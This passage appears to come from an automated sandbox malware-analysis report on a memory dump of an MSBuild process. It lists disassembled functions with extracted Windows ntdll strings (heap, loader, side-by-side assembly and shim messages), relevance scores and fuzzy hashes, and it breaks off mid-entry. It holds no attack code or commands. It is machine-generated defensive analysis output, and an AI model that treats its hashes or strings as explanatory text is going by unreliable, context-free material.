SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 014022E4
RtlpResolveAssemblyStorageMapEntry, xrefs: 0140261F
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 01402409
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 01402602

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: 9b6294095b90a54bc7db921545656b825156a05b0c9754fac3274c4608894a3a
Instruction ID: bd1e84fcff86479adee0bd1fff783a774e8d2717ac8259c1a8a4cf41493af126
Opcode Fuzzy Hash: 9b6294095b90a54bc7db921545656b825156a05b0c9754fac3274c4608894a3a
Instruction Fuzzy Hash: A40270F1D002299BDF31DB59CC84BDAB7B8AB54708F0041EAE60DA7291DB719E84CF59

Function 01438B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

svchost.exe, xrefs: 01438B68
services.exe, xrefs: 01438B96
DefaultBrowser_NOPUBLISHERID, xrefs: 01438D00
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 01438BD0
runtimebroker.exe, xrefs: 01438B73
smss.exe, xrefs: 01438B8B
csrss.exe, xrefs: 01438B80
SegmentHeap, xrefs: 01438BE9
heapType, xrefs: 01438BCB
lsass.exe, xrefs: 01438BA1

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: e1e0575bea32dcc2ee6a1ef5930cf347117c505483a69158a9edcd9255c68ef6
Instruction ID: cc7d390d424e484b852450ef2bc444d7fd776489b1eefe33e37f245353b4295a
Opcode Fuzzy Hash: e1e0575bea32dcc2ee6a1ef5930cf347117c505483a69158a9edcd9255c68ef6
Instruction Fuzzy Hash: C651C0715143029BD325CF188848BABBBECEFD8658F544A1EF998C3264E770D509CB92

Function 01440274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 014406EA
RtlReAllocateHeap, xrefs: 014402BF, 01440362
HEAP[%wZ]: , xrefs: 01440399, 014404A8, 014405D0, 01440675, 014406CC
About to reallocate block at %p to %Ix bytes, xrefs: 014403BA
HEAP: , xrefs: 014403A6, 014404B5, 014405DD, 01440682, 014406D9
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 0144069F
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 014404D3
Just reallocated block at %p to %Ix bytes, xrefs: 014405F1

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: c62b9b478b53f3018b2da9da7b082702a93785c068f72085cce4f6bdf80de05a
Instruction ID: 47bd5d9bd9a17320339c3ecc378d070e476c339d0a565615d5ceb338c6ee690e
Opcode Fuzzy Hash: c62b9b478b53f3018b2da9da7b082702a93785c068f72085cce4f6bdf80de05a
Instruction Fuzzy Hash: 68D1BD31500686DFEB22EF68C440AEEBBF1FF59A14F08805AF64A9B362C7349951CB54

Function 014189B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

VerifierDebug, xrefs: 01418CA5
AVRF: -*- final list of providers -*- , xrefs: 01418B8F
VerifierFlags, xrefs: 01418C50
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 01418A67
HandleTraces, xrefs: 01418C8F
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 01418A3D
VerifierDlls, xrefs: 01418CBD

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: d9bf7beb3cd44864e16d331ae43b60db3e5a11db81ff8fadbb47da99e55dfaff
Instruction ID: 260b528cdf527e40b090028f66651bcff366526d04398282ff12a1aea12c2687
Opcode Fuzzy Hash: d9bf7beb3cd44864e16d331ae43b60db3e5a11db81ff8fadbb47da99e55dfaff
Instruction Fuzzy Hash: 029103726417039BD721EF6CD880B5FBBA4AB94A18F04051EFA446F379D770AC058B91

Function 0139EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON

Download Yara Rule

Strings

{, xrefs: 013F4643
LdrpResSearchResourceInsideDirectory Enter, xrefs: 0139EB58
LdrpResSearchResourceInsideDirectory Exit, xrefs: 0139EB6C
R, xrefs: 0139EB62
, xrefs: 0139F299
T, xrefs: 0139EB4E

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
API String ID: 0-1109411897
Opcode ID: fde2a8d65d2a95edce580ba70d90f28e8d4d6acabe3e38d761e8c90be5fd4649
Instruction ID: e3038d81968f7c66a312f1b608eca4c30c1f953de5b751ac56a0f65b5db3157d
Opcode Fuzzy Hash: fde2a8d65d2a95edce580ba70d90f28e8d4d6acabe3e38d761e8c90be5fd4649
Instruction Fuzzy Hash: 51A23A74A0562A8FDF64DF18CD887AABBB9AF45318F1442EDD90DA7250DB309E85CF40

Function 013C63FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 014040E9, 0140414B, 0140420F, 01404269
_LdrpInitialize, xrefs: 014040DF, 01404141, 01404205, 0140425F
Delaying execution failed with status 0x%08lx, xrefs: 01404258
Process initialization failed with status 0x%08lx, xrefs: 0140413A
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 014040D8
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 014041FE

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: edc893cc88a7ccdc37972ff8a5d7a4145d9d87e5c4ddc3d88ddc9a9cdef463cd
Instruction ID: 5c18cd7b21d20716f114d0a95ee1a1ec54ced2433563898deae1135b653f8d9d
Opcode Fuzzy Hash: edc893cc88a7ccdc37972ff8a5d7a4145d9d87e5c4ddc3d88ddc9a9cdef463cd
Instruction Fuzzy Hash: 869139B0B003159BDB36DF19D846BAEBBA5AB50F58F14402EDA007B7E5D7749802C791

Function 0138645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 013E9A11, 013E9A3A
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 013E99ED
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 013E9A2A
Getting the shim engine exports failed with status 0x%08lx, xrefs: 013E9A01
apphelp.dll, xrefs: 01386496
LdrpInitShimEngine, xrefs: 013E99F4, 013E9A07, 013E9A30

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-204845295
Opcode ID: 898ed552c0b29c516054acedc5cd8444526f6638528cec9ebe6804b4c4a04e5b
Instruction ID: 036d69d602ee6e2335f53f89b8fe19d77a3041abb9a9f7b66a72d3a6649db302
Opcode Fuzzy Hash: 898ed552c0b29c516054acedc5cd8444526f6638528cec9ebe6804b4c4a04e5b
Instruction Fuzzy Hash: 8B5182712083059FE721EF28D846BAF77E8EF84A4CF00491DE5459B2A0DA30D944CB92

Function 013C2674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 014021BF
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 01402180
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 0140219F
SXS: %s() passed the empty activation context, xrefs: 01402165
RtlGetAssemblyStorageRoot, xrefs: 01402160, 0140219A, 014021BA
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 01402178

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: 9ef725c281cef7b1f57c02b3f8e745a02d5b6dc3c4b1fdeacb3710441c400490
Instruction ID: b80634015fcff575594b0c843c09a44bfb1c64d7730fddc5bd58cf11b06945e7
Opcode Fuzzy Hash: 9ef725c281cef7b1f57c02b3f8e745a02d5b6dc3c4b1fdeacb3710441c400490
Instruction Fuzzy Hash: 24312F35F4021577F7229A9ACC89F5B7B78DB64E54F05406EFA046B291D2B09E01C7A1

Function 013CC6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 013CC6C3
Unable to build import redirection Table, Status = 0x%x, xrefs: 014081E5
Loading import redirection DLL: '%wZ', xrefs: 01408170
minkernel\ntdll\ldrredirect.c, xrefs: 01408181, 014081F5
LdrpInitializeProcess, xrefs: 013CC6C4
LdrpInitializeImportRedirection, xrefs: 01408177, 014081EB

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: fccefb0fb78e5ef1112339597fdb2d0e8ada44e8fab4fd65e14827c04ca002c6
Instruction ID: 79ac2db07d9217fa72c254e38a644dbceb71b03e8bd6937fdc867037ef198599
Opcode Fuzzy Hash: fccefb0fb78e5ef1112339597fdb2d0e8ada44e8fab4fd65e14827c04ca002c6
Instruction Fuzzy Hash: 1431D3716443469BD221EF2DD986E1B7BD4EF94F28F04056CF945AB3A1E630EC04CBA2

Function 013D096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON

Download Yara Rule

APIs

Part of subcall function 013D2DF0: LdrInitializeThunk.NTDLL ref: 013D2DFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013D0BA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013D0BB6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013D0D60
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013D0D74

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID:
API String ID: 1404860816-0
Opcode ID: 4dd6847ba769302e26c929d6e93ff72ac77b231185f16e9edb731f58b77addb1
Instruction ID: 418f10b9c7a702780d7a66dc08c3e3598ba668a2dae655bf928592510d0eb9bb
Opcode Fuzzy Hash: 4dd6847ba769302e26c929d6e93ff72ac77b231185f16e9edb731f58b77addb1
Instruction Fuzzy Hash: E7425B72900715DFDB25CF28C880BAAB7F5BF44318F1445AAE999DB352D770AA84CF60

Function 013CC720 Relevance: 6.4, Strings: 5, Instructions: 141COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 014082E8
Failed to reallocate the system dirs string !, xrefs: 014082D7
H-, xrefs: 01408285, 01408365
H-, xrefs: 0140836A
LdrpInitializePerUserWindowsDirectory, xrefs: 014082DE

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$H-$H-$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1597750670
Opcode ID: 7ec8c320a9e8466b72480a47de96eb8f2f9146ff9c21e4b19974e1fe1f63d6a2
Instruction ID: a174b6ae7157058ff2e229eab75d045cc2a51e4c6f0ca7907fd434fc40749c95
Opcode Fuzzy Hash: 7ec8c320a9e8466b72480a47de96eb8f2f9146ff9c21e4b19974e1fe1f63d6a2
Instruction Fuzzy Hash: 1041D0B2544301AFC721EB69D944B5F7BE8EF94A58F01492EF949E72A1E770D800CB92

Function 0139A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

6, xrefs: 0139A3F7
LdrResFallbackLangList Enter, xrefs: 0139A3EF
8, xrefs: 0139A3E7
LdrResFallbackLangList Exit, xrefs: 0139A3FF

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 0d11d856a75f8349667ebb413b5697bab96bb7e8a9f4f3a5b174707cb95cd24d
Instruction ID: eba39d51b068d91c998a7fd1200b48572d36f48eac10f0d7813bac1524eeb7fc
Opcode Fuzzy Hash: 0d11d856a75f8349667ebb413b5697bab96bb7e8a9f4f3a5b174707cb95cd24d
Instruction Fuzzy Hash: 0EC18A75208386CFDB11CF58C044B6AB7E8BF84708F048A6EFA959B751E734C949CB96

Function 013C8402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 013C8421
@, xrefs: 013C8591
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 013C855E
LdrpInitializeProcess, xrefs: 013C8422

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: 5c2b6367fe71b4940fa8ca8395f645527bf964deed24f99809902e97d0551fe5
Instruction ID: fe0cc3f82ce954c7b437e74fd0dc95d31a117f4e797d4864bb9ea774f7e6990d
Opcode Fuzzy Hash: 5c2b6367fe71b4940fa8ca8395f645527bf964deed24f99809902e97d0551fe5
Instruction Fuzzy Hash: 72916C71508345AFD722DF69CC40EAFBAECEF94B48F40496EFA8496151E374DA048B62

Function 013C273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 014021D9, 014022B1
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 014022B6
.Local, xrefs: 013C28D8
SXS: %s() passed the empty activation context, xrefs: 014021DE

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: cdb7b360de8e762b3057b9d0d97d83340881a8fc9a87bdf7fc32321241615106
Instruction ID: 04f8b53100477c13ba4c3d6f7de9a22481003ab1b62884e90f20c8f940050bb6
Opcode Fuzzy Hash: cdb7b360de8e762b3057b9d0d97d83340881a8fc9a87bdf7fc32321241615106
Instruction Fuzzy Hash: 63A1A0319002299BDB25CF99DC88BEAB7B5BF58718F1541EED908A7391D7709E80CF90

Function 013964AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 013F1028
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 013F106B
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 013F0FE5
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 013F10AE

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 37267dcac906dfb96dd39208fad96de2ed68f7cee24e9f814440728ea784e760
Instruction ID: 569d1ddfe37eec30e9a8da26116aac58e3faa1f4621fce8067f7fe5fdd408db7
Opcode Fuzzy Hash: 37267dcac906dfb96dd39208fad96de2ed68f7cee24e9f814440728ea784e760
Instruction Fuzzy Hash: 6871EFB1904306DFCB21EF28C885B9B7FA8AF54768F404469F9488B286D334D588CBD2

Function 013B245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 013FA9A2
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 013FA992
LdrpDynamicShimModule, xrefs: 013FA998
apphelp.dll, xrefs: 013B2462

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 85efda995b103d16d669361060f67052056679403c6c9d59e1ee9863f0822709
Instruction ID: 268145618e0d570d5a891c42baa5d5f19b614a0ed12bf6c912dce43b7a789022
Opcode Fuzzy Hash: 85efda995b103d16d669361060f67052056679403c6c9d59e1ee9863f0822709
Instruction Fuzzy Hash: 44317971A10202ABDB31AF5DD881EAF7BB8FB80B08F16006DEA056B764D770A845C780

Function 013A29A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON

Download Yara Rule

Strings

Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 013A327D
HEAP[%wZ]: , xrefs: 013A3255
HEAP: , xrefs: 013A3264

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
API String ID: 0-617086771
Opcode ID: a6ef5facdd4b08f90c4ce45163f6fe938b0407a8ac7cd900e1bdeb08ed231950
Instruction ID: 645704fe7454f3dc16f4bc82c3be74868c58354027ce8921fa6b0cd098274db1
Opcode Fuzzy Hash: a6ef5facdd4b08f90c4ce45163f6fe938b0407a8ac7cd900e1bdeb08ed231950
Instruction Fuzzy Hash: 8592DE70A04249DFEB25CF68C440BAEBBF1FF08308F588059E95AAB791D735A945CF50

Function 013A0770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

(UCRBlock->Size >= *Size), xrefs: 013F50CA
HEAP[%wZ]: , xrefs: 013F50AE
HEAP: , xrefs: 013F50BD

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 6306f697e5192ddfb2d8ceb01e1b735bfe09aa033a1ebbe93a355c1f6b78c361
Instruction ID: 7a7916cf5cb846aea69685f37449d699ef0eb39eb926fe565e5957381234b970
Opcode Fuzzy Hash: 6306f697e5192ddfb2d8ceb01e1b735bfe09aa033a1ebbe93a355c1f6b78c361
Instruction Fuzzy Hash: 59F1BE34600606EFEB29CF68C894B6ABBF5FF45308F14826DE5169B791D734E981CB90

Function 013B6962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON

Download Yara Rule

Strings

@, xrefs: 013B6C24
, xrefs: 013FCA51

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID: $@
API String ID: 2994545307-1077428164
Opcode ID: 8a7da66aebd704a865c0ca44faac5f4e8da072f5b36e0befc63c2dabbc5862b4
Instruction ID: 0ec3330e182d5f72fe77bb162655e8b1b3804588dc713abf3c96e564c62f8ba9
Opcode Fuzzy Hash: 8a7da66aebd704a865c0ca44faac5f4e8da072f5b36e0befc63c2dabbc5862b4
Instruction Fuzzy Hash: 86C272716083459FD725CF29C881BABBBE5EFC8758F04892DEA89C7681E734D805CB52

Function 0138A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

UseFilter, xrefs: 0138A1C1
FilterFullPath, xrefs: 013EC2E6
\??\, xrefs: 013EC1E4

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: fdabd074d0e0b8749204d758b1e9e065907528cc954c0c7aad9a5a9b6de60aea
Instruction ID: 0f579d403b7d32fb9b82a606dfe9e113e8019898e65fce3430ad5a0ca3534a00
Opcode Fuzzy Hash: fdabd074d0e0b8749204d758b1e9e065907528cc954c0c7aad9a5a9b6de60aea
Instruction Fuzzy Hash: 22A14D719116299BDB31DF68CC88BEEB7B8EF44718F1041EAEA09A7250D7359E84CF50

Function 013B0BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 013FA121
Failed to allocated memory for shimmed module list, xrefs: 013FA10F
LdrpCheckModule, xrefs: 013FA117

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 0-161242083
Opcode ID: ce099e3b9debe9611c467ad7505be5ec154ee34a0e49eadc505b084cde847d74
Instruction ID: 88d7b89736b99b5ba2b13b97d58692731828b4eee9d3958a8f66a5cb3c07b306
Opcode Fuzzy Hash: ce099e3b9debe9611c467ad7505be5ec154ee34a0e49eadc505b084cde847d74
Instruction Fuzzy Hash: 3771C071A002069FDF29DF6CC981ABEB7F4FB44708F15406DEA06EBA51E734A941CB50

Function 013A0A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 013F5335
HEAP: , xrefs: 013F5342
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 013F534D

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 7a34bff7145f8f39a6ba4a412c0cb1244de27309ebd073f09a816040df05f128
Instruction ID: 94c6876d6e51dd9aba16cc8d0507dc770f45cb473cf11bcb788ce58d436d3185
Opcode Fuzzy Hash: 7a34bff7145f8f39a6ba4a412c0cb1244de27309ebd073f09a816040df05f128
Instruction Fuzzy Hash: 1261D130600306DFDB29CF28C540B6ABBE5FF45708F54856EE95A8F292D770E881CB91

Function 0144C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

@, xrefs: 0144C1F1
PreferredUILanguages, xrefs: 0144C212
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0144C1C5

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: 2d3eb5a5f0d0b71a0ee6b884929cb1f5584730ad8eb0a1514b7960090340c2d0
Instruction ID: d5846ed78914d1373aee2dbc6487fcef22802a61b65facba01dc7dcc813891a3
